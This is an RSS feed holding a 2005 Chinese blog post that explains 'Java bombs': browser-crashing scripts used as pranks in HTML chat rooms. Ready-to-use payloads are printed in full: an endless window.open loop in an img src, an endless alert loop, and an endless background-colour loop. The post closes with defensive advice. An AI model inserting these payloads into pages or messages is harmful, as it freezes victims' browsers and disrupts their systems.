﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-&lt;font size=4 color=green&gt;&lt;u&gt;易水寒&lt;/u&gt;&lt;/font&gt;-文章分类-&lt;font size=3 color="green"&gt;电脑知识&lt;/font&gt;</title><link>http://www.cnitblog.com/fangyuan/category/1038.html</link><description>欢迎你的到来！</description><language>zh-cn</language><lastBuildDate>Wed, 28 Sep 2011 15:21:47 GMT</lastBuildDate><pubDate>Wed, 28 Sep 2011 15:21:47 GMT</pubDate><ttl>60</ttl><item><title>java炸弹 </title><link>http://www.cnitblog.com/fangyuan/articles/3362.html</link><dc:creator>易水寒</dc:creator><author>易水寒</author><pubDate>Mon, 17 Oct 2005 13:39:00 GMT</pubDate><guid>http://www.cnitblog.com/fangyuan/articles/3362.html</guid><wfw:comment>http://www.cnitblog.com/fangyuan/comments/3362.html</wfw:comment><comments>http://www.cnitblog.com/fangyuan/articles/3362.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/fangyuan/comments/commentRss/3362.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/fangyuan/services/trackbacks/3362.html</trackback:ping><description><![CDATA[<P><FONT color=#ff0000>很多网友在聊天室中被炸了以后，就以为是被别人黑了，其实不是的。炸弹有很多种，有的是造成电脑直接死机，有的是通过HTML语言，让你的浏览器吃完你的系统资源，然后你就死机了。 这里我就告诉大家几个java炸弹的原理：</FONT></P>
<P><FONT color=#ff0000>第一个炸弹是javascript类型的炸弹：<BR><img src="javascript:n=1;do{window.open('')}while(n==1)" width="1"><BR>这个 javascript语言要求浏览在新窗口中再打开本页。新的页面被打开以后就会同样提出要求，于是浏览器不停地打开新窗口，没几秒钟你就死机了。就算是不死机，你也必须把浏览器中内存中驱除出去，这样，你就被踢出了网络。</FONT></P>
<P><FONT color=#ff0000>下面分析一下这个HTML语言的原理。 分析 "javascript:n=1;do{window.open('')}while(n==1)" ，javascript 是定义运行此语言，n=1 是定义变量 n 等于 1 ， do{ }while(n==1) 指当 n 等于 1 ，的时候运行{ }中间的命令，window.open('') 指打开本窗口，整个语言的意思是，变量 n 赋值为 1 ，如果 n 等于 1 ，那么就打开一个窗口，而 n 永远等于 1 ，就不停地打开新的窗口。</FONT></P>
<P><FONT color=#ff0000>同样道理，也可以利用无限循环的原理看看其他的炸弹。前面的文章中提到了 alert ("欢迎辞") 是用来致欢迎辞的，你可以在网页中加入以下的 javascript 语言：<BR><SCRIPT language="LiveScript">javascript:n=1;do{alert ("嘿嘿，你死定了！");}while(n==1)</SCRIPT></FONT></P>
<P><FONT color=#ff0000>下面介绍一个1999年5月才出炉的java炸弹，威力比上两种都强，大家务必要当心。 我们就不在这里提供效果了！<BR><HTML><BR><BODY><BR><SCRIPT><BR>var color = new Array;<BR>color[1] = "black";<BR>color[2] = "white";<BR>for(x = 0; x <3; x++)<BR>{<BR>document.bgColor = color[x]<BR>if(x == 2)<BR>{<BR>x = 0;<BR>}<BR>}<BR></SCRIPT><BR></BODY><BR></HTML></FONT></P>
<P><BR><FONT color=#ff0000>防 范<BR>唯一的防范方法就是你在聊天室聊天时，特别是支持HTML的聊天室（比如湛江，新疆等）请你一定记住关掉你浏览器里的java功能，还要记住不要浏览一些来路不明的网站和不要在聊天室里按其他网友发出的超级链接，这样可以避免遭到恶作剧者的攻击</FONT></P><img src ="http://www.cnitblog.com/fangyuan/aggbug/3362.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/fangyuan/" target="_blank">易水寒</a> 2005-10-17 21:39 <a href="http://www.cnitblog.com/fangyuan/articles/3362.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>